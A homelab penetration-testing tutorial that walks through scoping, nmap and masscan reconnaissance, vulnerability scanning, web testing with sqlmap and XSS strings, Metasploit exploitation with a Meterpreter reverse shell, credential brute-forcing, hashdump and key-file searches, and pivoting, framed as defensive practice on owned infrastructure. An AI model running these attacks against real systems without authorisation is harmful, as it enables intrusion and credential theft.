Penetration Testing Your Homelab

March 26, 2026 14 min read Security

securitypenetration-testinghomelabkalinmapmetasploitnetworking

Contents

Your homelab is a perfect environment to learn offensive security techniques — you own the infrastructure, you control the scope, and breaking something doesn’t cost you a production outage. Pentesting your own homelab is one of the fastest ways to build a genuine understanding of attack surfaces, and it turns vague security advice (“patch your systems”) into concrete findings (“your Grafana instance is running 9.0.1 with CVE-2021-43798 exposed”).

This guide covers a structured approach to homelab pentesting: setting up Kali Linux safely, reconnaissance with nmap, vulnerability scanning, web application testing, and using Metasploit responsibly — all against infrastructure you own.

The Golden Rule: Scope and Isolation

Before running a single scan, establish your scope and make sure you won’t accidentally hit anything you don’t own.

Define your target network. Write down the CIDR ranges you’re authorized to test:

In scope:
  192.168.10.0/24   — homelab VLAN
  192.168.20.0/24   — IoT VLAN
  10.10.0.0/24      — VPN subnet

Out of scope:
  192.168.1.0/24    — primary home network (production)
  Any cloud provider IP
  Any IP not in the list above

Never test what you don’t own. Aggressive scanning against cloud providers, your ISP, or neighboring networks is illegal regardless of intent. Accidentally scanning AWS because your VPN was misconfigured is still a problem.

Use a dedicated Kali instance. Don’t run attack tools from your daily driver. Keep your testing environment isolated so tool output, wordlists, and exploit artifacts stay contained.

Setting Up Kali Linux

Kali is the standard pentesting distribution — it ships with hundreds of pre-installed security tools.

Option 1: Kali as a VM

1
2
3
4
5
6
7
8


# Download the Kali VMware/VirtualBox image from kali.org
# Import into Proxmox, VMware, or VirtualBox

# After first boot, update everything
sudo apt update && sudo apt full-upgrade -y

# Install any missing tools
sudo apt install -y kali-tools-top10 kali-tools-web

Option 2: Kali as a Docker Container

For reconnaissance and scanning only (no GUI tools):

1
2
3
4
5
6


docker run -it --rm \
  --network host \
  kalilinux/kali-rolling bash

# Inside the container
apt update && apt install -y nmap masscan nikto sqlmap dirb curl

Option 3: Kali on a Dedicated Pi or Mini PC

A dedicated physical device on your homelab VLAN gives you persistent access and avoids VM networking complexity:

1
2
3


# Flash Kali ARM image to SD card / USB
# Connect to homelab network, not your main LAN
# Harden SSH: key auth only, change default credentials

Regardless of method, immediately change the default credentials:

1
2


passwd kali   # change default password
# Better: disable password auth entirely and use SSH keys

Phase 1: Reconnaissance

Reconnaissance maps what’s running on your network before you attempt anything offensive.

Network Discovery with nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


# Discover live hosts on your homelab subnet
nmap -sn 192.168.10.0/24

# Output:
# Nmap scan report for 192.168.10.1 (router)
# Nmap scan report for 192.168.10.10 (proxmox)
# Nmap scan report for 192.168.10.20 (nas)
# ...

# Fast port scan — top 1000 ports, all live hosts
nmap -T4 -F 192.168.10.0/24

# Full port scan with service/version detection
nmap -sV -sC -p- -T4 192.168.10.20

# OS detection (requires root)
sudo nmap -O 192.168.10.20

# Full reconnaissance scan, save output in all formats
sudo nmap -sV -sC -O -p- -T4 \
  --script=banner,http-title,ssh-hostkey \
  -oA /tmp/homelab-full \
  192.168.10.0/24

Understanding nmap output:

PORT     STATE  SERVICE  VERSION
22/tcp   open   ssh      OpenSSH 8.9p1 Ubuntu
80/tcp   open   http     nginx 1.18.0
443/tcp  open   ssl/http nginx 1.18.0
3000/tcp open   http     Grafana http
8086/tcp open   http     InfluxDB httpd
9090/tcp open   http     Prometheus

Each open port is an attack surface. Note every service and version — you’ll look these up for CVEs.

Faster Scanning with masscan

masscan is orders of magnitude faster than nmap for finding open ports across large ranges:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# Scan entire homelab range for common ports at high speed
sudo masscan -p22,80,443,3000,8080,8443,9090,8086 \
  --rate=1000 \
  192.168.10.0/24 \
  -oL /tmp/masscan-results.txt

# Full port scan (use carefully — high rate can disrupt switches)
sudo masscan -p0-65535 \
  --rate=500 \
  192.168.10.0/24 \
  -oL /tmp/masscan-full.txt

Then hand off masscan’s open ports to nmap for detailed fingerprinting:

1
2
3
4
5


# Convert masscan output to nmap target file
awk '/open/ {print $4}' /tmp/masscan-results.txt | sort -u > /tmp/targets.txt

# Detailed scan of discovered hosts
nmap -sV -sC -iL /tmp/targets.txt -oA /tmp/nmap-detail

Service Enumeration

Once you know what’s running, dig deeper into each service:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


# Enumerate SSH host keys and supported algorithms
nmap --script ssh2-enum-algos,ssh-hostkey -p22 192.168.10.20

# HTTP title and headers
nmap --script http-title,http-headers -p80,443,8080,3000 192.168.10.0/24

# Check for default credentials on common services
nmap --script http-default-accounts -p80,443,8080 192.168.10.0/24

# SMB enumeration (NAS, Windows shares)
nmap --script smb-enum-shares,smb-os-discovery -p445 192.168.10.0/24

# DNS zone transfer attempt (against your local DNS)
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=home.local \
  -p53 192.168.10.1

Phase 2: Vulnerability Scanning

Reconnaissance tells you what’s running. Vulnerability scanning tells you what’s exploitable.

OpenVAS / Greenbone Community Edition

OpenVAS is the most comprehensive open-source vulnerability scanner. Run it as a Docker stack:

1
2
3
4
5
6
7
8


# Greenbone Community Edition via Docker Compose
git clone https://github.com/greenbone/openvas-docker.git
cd openvas-docker
docker compose up -d

# Takes 15-30 minutes to download and sync NVT feed
# Access the web UI at https://localhost:9392
# Default credentials: admin / admin (change immediately)

Create a scan task:

Configuration → Scan Configs → select “Full and fast”
Targets → New Target → enter your homelab CIDR
Scans → New Task → select target and config
Run the scan — expect 30-60 minutes for a /24

OpenVAS reports vulnerabilities with CVSS scores and remediation advice. A typical homelab finding might be:

HIGH (CVSS 7.5) — Grafana Path Traversal (CVE-2021-43798)
Host: 192.168.10.30:3000
Affected: Grafana 8.x < 8.3.1
Description: Unauthenticated directory traversal allows reading
             arbitrary files on the server filesystem.
Solution: Upgrade to Grafana 8.3.1 or later.

Nessus Essentials

Nessus Essentials is free for up to 16 IPs and produces excellent reports:

1
2
3
4
5
6


# Download from tenable.com/products/nessus/nessus-essentials
# Register for a free activation code
# Install the .deb package
dpkg -i Nessus-10.x.x-debian10_amd64.deb
systemctl start nessusd
# Access https://localhost:8834 to complete setup

Nuclei: Fast Template-Based Scanning

Nuclei uses community-maintained YAML templates to check for specific CVEs and misconfigurations — much faster than OpenVAS for targeted checks:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


# Install
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Update templates
nuclei -update-templates

# Scan your homelab for all severities
nuclei -l targets.txt -o /tmp/nuclei-results.txt

# Scan for specific severity
nuclei -l targets.txt -severity high,critical

# Scan for specific CVEs
nuclei -l targets.txt -tags cve -severity critical

# Scan a single host for web misconfigurations
nuclei -u http://192.168.10.30:3000 \
  -tags misconfig,default-login,exposure

# Example findings:
# [grafana-default-login] [http] [high] http://192.168.10.30:3000
# [nginx-version-disclosure] [http] [info] http://192.168.10.30:80
# [prometheus-metrics-exposure] [http] [medium] http://192.168.10.30:9090

Phase 3: Web Application Testing

Most homelab services expose a web UI. These are often the most vulnerable — misconfigured, running old versions, or using default credentials.

Directory and File Discovery

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


# gobuster — fast directory brute-force
gobuster dir \
  -u http://192.168.10.30:3000 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -t 50 \
  -o /tmp/gobuster-grafana.txt

# feroxbuster — recursive, faster
feroxbuster \
  -u http://192.168.10.30:8080 \
  --wordlist /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  --depth 3 \
  -t 50

# ffuf — flexible fuzzing
ffuf -u http://192.168.10.30:8080/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200,301,302,403 \
  -o /tmp/ffuf-results.json -of json

Nikto: Web Server Scanner

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# Basic Nikto scan
nikto -h http://192.168.10.30 -o /tmp/nikto-results.html -Format html

# Scan with SSL
nikto -h https://192.168.10.30:443 -ssl

# Common findings:
# + /admin: Admin page found
# + Server: nginx/1.18.0 — version disclosure
# + X-Frame-Options header not set
# + Missing X-Content-Type-Options header
# + /phpinfo.php: PHP info page exposed

Intercepting Traffic with Burp Suite Community

Burp Suite is the standard tool for manual web application testing. The free Community edition covers the basics:

Launch Burp → Proxy → Intercept
Configure your browser to use 127.0.0.1:8080 as HTTP proxy
Browse your homelab web UIs — Burp captures every request
Use Repeater to manually modify and replay requests
Use Intruder (rate-limited in Community) for basic fuzzing

Useful things to test manually:

Try default credentials: admin/admin, admin/password, root/root
Check for exposed API endpoints that skip authentication
Modify request parameters — change user_id=1 to user_id=2
Look for JWT tokens in cookies/headers, decode them at jwt.io

Testing for Common Web Vulnerabilities

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


# SQL injection with sqlmap (test your own apps only)
sqlmap -u "http://192.168.10.50/app?id=1" --dbs --batch

# Test authentication forms
sqlmap -u "http://192.168.10.50/login" \
  --data="username=admin&password=test" \
  --level=3 --risk=2 --batch

# Cross-site scripting — manual test
# Inject into form fields, URL parameters:
# <script>alert(1)</script>
# "><img src=x onerror=alert(1)>

# Check security headers
curl -sI http://192.168.10.30 | grep -iE \
  'x-frame|content-security|x-content-type|strict-transport|referrer'

Phase 4: Exploitation with Metasploit

Metasploit Framework is the standard exploitation platform. For homelabbing, the goal is to verify whether a vulnerability is actually exploitable — not just theoretically present.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


# Start Metasploit
msfconsole

# Search for modules relevant to a finding
msf6 > search grafana
msf6 > search type:exploit platform:linux apache

# Use a module — example: Grafana path traversal
msf6 > use auxiliary/scanner/http/grafana_plugin_path_traversal
msf6 auxiliary(...) > show options

# Set required options
msf6 auxiliary(...) > set RHOSTS 192.168.10.30
msf6 auxiliary(...) > set RPORT 3000
msf6 auxiliary(...) > run

# If successful:
# [+] 192.168.10.30:3000 - /etc/passwd retrieved:
# root:x:0:0:root:/root:/bin/bash
# grafana:x:472:472::/home/grafana:/sbin/nologin

A practical Metasploit workflow for a homelab:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


# 1. Import nmap scan results
msf6 > db_import /tmp/homelab-full.xml

# 2. Review discovered hosts and services
msf6 > hosts
msf6 > services

# 3. Run Metasploit's own port scanner and version detection
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.10.0/24
msf6 > run

# 4. Check for specific known vulnerabilities
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 > set RHOSTS 192.168.10.0/24
msf6 > set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
msf6 > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
msf6 > set THREADS 10
msf6 > run

# 5. Exploit a vulnerable service
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.10.100   # your Kali IP
msf6 > set LPORT 4444
msf6 > run -j   # run as background job

Important: Metasploit exploits can crash services. Before running an exploit module against a target, check its check command:

1
2
3


msf6 exploit(...) > check
# [*] 192.168.10.30:3000 - The target appears to be vulnerable.
# — If check succeeds, the service is vulnerable but not yet exploited

Use check before run when you want proof-of-vulnerability without the risk of crashing the service.

Phase 5: Post-Exploitation and Lateral Movement

If you successfully compromise a service, the next question is: how far can an attacker go from there?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


# Inside a Meterpreter session
meterpreter > sysinfo           # OS, hostname, architecture
meterpreter > getuid            # current user
meterpreter > ps                # running processes
meterpreter > hashdump          # dump /etc/shadow hashes (if root)

# Search for interesting files
meterpreter > search -f "*.conf" -d /etc
meterpreter > search -f "id_rsa" -d /home
meterpreter > search -f "*.env" -d /opt

# Pivot to other machines on the network
meterpreter > run post/multi/manage/shell_to_meterpreter
meterpreter > run post/linux/gather/enum_network
meterpreter > arp               # what other hosts has this machine talked to?
meterpreter > route             # routing table — what networks is it connected to?

# Set up a pivot route through the compromised host
msf6 > route add 192.168.20.0/24 [session_id]
# Now scan the IoT VLAN through the compromised host
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.20.0/24
msf6 > run

This lateral movement test answers a critical homelab question: if your Grafana instance is compromised, can the attacker reach your NAS, Proxmox, or other VLANs? If yes, your network segmentation needs work.

Building a Vulnerable Practice Target

Testing against your production homelab carries risk. A better approach is to add intentionally vulnerable targets:

DVWA (Damn Vulnerable Web Application)

1
2
3
4
5
6
7
8


docker run -d \
  --name dvwa \
  -p 8090:80 \
  vulnerables/web-dvwa

# Access at http://localhost:8090
# Default credentials: admin / password
# Go to DVWA Security → set to Low to start

Metasploitable3

Metasploitable3 is a deliberately vulnerable Linux/Windows VM:

1
2
3
4


# Using Vagrant
vagrant box add rapid7/metasploitable3-ub1404
vagrant init rapid7/metasploitable3-ub1404
vagrant up

VulnHub Machines

Download pre-built vulnerable VMs from vulnhub.com and import into Proxmox or VirtualBox. These are CTF-style machines with specific exploit paths — great for learning a full attack chain.

Your Own “Vulnerable” Infrastructure

Deliberately misconfigure a test VM to practice finding specific issues:

Run an outdated Grafana or Jenkins version
Set up a web app with SQL injection (DVWA’s login page)
Configure SSH with password auth and weak credentials
Deploy an nginx server with directory listing enabled
Run a service without authentication on an internal port

Documenting Findings

A pentest is only useful if you document what you found and fix it. Keep a simple findings log:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


# Homelab Pentest — 2026-03-26

## Scope
192.168.10.0/24, 192.168.20.0/24

## Findings

### CRITICAL: Grafana 8.3.0 — CVE-2021-43798 Path Traversal
- Host: 192.168.10.30:3000
- Verified: Yes (retrieved /etc/passwd)
- Fix: Upgrade to Grafana 8.3.1+
- Fixed: [ ]

### HIGH: Prometheus metrics exposed without authentication
- Host: 192.168.10.30:9090
- Detail: /metrics and /api endpoints return all time-series data
- Fix: Add basic auth via reverse proxy or bind to 127.0.0.1 only
- Fixed: [ ]

### MEDIUM: SSH password authentication enabled
- Hosts: 192.168.10.10, 192.168.10.20
- Detail: Allows brute-force; 'ubuntu' user has weak password
- Fix: Disable PasswordAuthentication in sshd_config
- Fixed: [ ]

### LOW: nginx version disclosed in Server header
- Hosts: 192.168.10.30:80
- Fix: Add `server_tokens off;` to nginx.conf
- Fixed: [ ]

After documenting, fix each finding and re-scan to verify remediation. The re-scan is important — it builds the habit of validation rather than just patching and hoping.

Common Homelab Findings (and How to Fix Them)

These show up in almost every homelab pentest:

Default credentials on services. Grafana ships with admin/admin. Portainer with admin/. Check every web UI on first deployment.

Services bound to 0.0.0.0 unnecessarily. Prometheus, InfluxDB, and similar services often listen on all interfaces by default. Bind internal-only services to 127.0.0.1 or a specific internal IP.

No authentication on internal APIs. Prometheus /metrics and /api endpoints, InfluxDB without auth, Home Assistant without a password. Add authentication even for internal services — it stops lateral movement.

Outdated software versions. Run trivy image your-container:latest and nuclei -tags cve regularly. Subscribe to CVE notifications for the software you run.

No network segmentation. IoT devices and servers on the same VLAN means a compromised smart bulb can reach your NAS. Use VLANs to segment trust zones.

Weak SSH configuration. Password auth enabled, root login permitted, outdated algorithms. See the SSH Hardening guide for a complete sshd_config.

Cleartext services inside the LAN. HTTP-only web UIs, unencrypted MQTT, Telnet. Attackers who gain LAN access can sniff credentials. Use TLS everywhere, even internally.

Tooling Cheat Sheet

Tool	Purpose	Command
nmap	Port scanning, service detection	`nmap -sV -sC -p- target`
masscan	Fast port discovery	`masscan -p0-65535 --rate=1000 subnet`
nuclei	CVE and misconfiguration scanning	`nuclei -l targets.txt -severity high,critical`
nikto	Web server misconfiguration	`nikto -h http://target`
gobuster	Directory brute-force	`gobuster dir -u http://target -w wordlist.txt`
ffuf	Web fuzzing	`ffuf -u http://target/FUZZ -w wordlist.txt`
sqlmap	SQL injection testing	`sqlmap -u "http://target?id=1" --dbs`
Metasploit	Exploitation framework	`msfconsole`
Burp Suite	Web app proxy and testing	GUI — proxy browser through 127.0.0.1:8080
OpenVAS	Full vulnerability scanning	Docker stack, web UI
Hydra	Credential brute-force	`hydra -l admin -P wordlist.txt ssh://target`
enum4linux	SMB/Samba enumeration	`enum4linux -a target`

Pentesting your homelab transforms it from a collection of services into a security proving ground. The vulnerabilities you find and fix make your infrastructure genuinely more resilient — and the techniques you learn transfer directly to understanding real-world attack patterns. Start with reconnaissance, layer in vulnerability scanning, and gradually work up to exploitation. Each finding is a lesson, and each fix makes the next round of testing that much less eventful.